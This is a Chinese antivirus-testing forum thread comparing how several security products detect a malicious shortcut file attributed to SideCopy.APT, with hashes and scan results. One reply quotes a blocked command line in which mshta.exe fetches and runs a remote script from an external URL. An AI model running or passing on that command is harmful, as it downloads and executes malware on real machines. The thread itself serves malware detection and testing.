SideCopy.APT (2023-11-30)

显示全部楼层 · 发表于 2023-11-30 20:22:07

事件: 检测到恶意对象
用户: DESKTOP-BT7SK16\yjlnq
用户类型: 活动用户
组件: 病毒扫描
结果: 检测到
结果说明: 检测到
类型: 木马
名称: HEUR:Trojan.WinLNK.Agent.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: 324ab6f36d61a5a89992a267271f2b433e1cd595a54e262e04f91c0230c4be23.lnk
对象路径: C:\Users\yjlnq\Downloads
MD5: E06384DF9436D9786E371515726BB9D9
原因: 机器学习
数据库发布日期: 今天，2023/11/30 16:41:00

显示全部楼层 · 发表于 2023-11-30 20:23:33

蜘蛛扫描miss
EMSI

显示全部楼层 · 发表于 2023-11-30 20:26:06

本帖最后由 Baby小尧于 2023-11-30 20:30 编辑

诺顿触发IPS，6分钟后阻止

显示全部楼层 · 发表于 2023-11-30 20:30:03

火绒

防护项目：利用Mshta执行可疑脚本
执行文件：C:\Windows\System32\mshta.exe
执行命令行："C:\Windows\System32\mshta.exe" "https://masterrealtors.in/assets/css/files/db/acr" && tar.exe
操作结果：已阻止

复制代码

显示全部楼层 · 发表于 2023-11-30 20:30:08

金山扫描：

运行：

https://ti.duba.net/result-file?hash=3a6c00411f821c64459b2b8ecebfd3f0&queryMode=upload

显示全部楼层 · 发表于 2023-11-30 20:59:36

显示全部楼层 · 发表于 2023-11-30 22:22:45

显示全部楼层 · 发表于 2023-11-30 22:58:47

360

显示全部楼层 · 发表于 2023-11-30 23:40:54

本帖最后由嘿嘿不能说于 2023-11-30 23:44 编辑

直接双击的话静默拦截，没有弹窗

[病毒样本] SideCopy.APT (2023-11-30)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源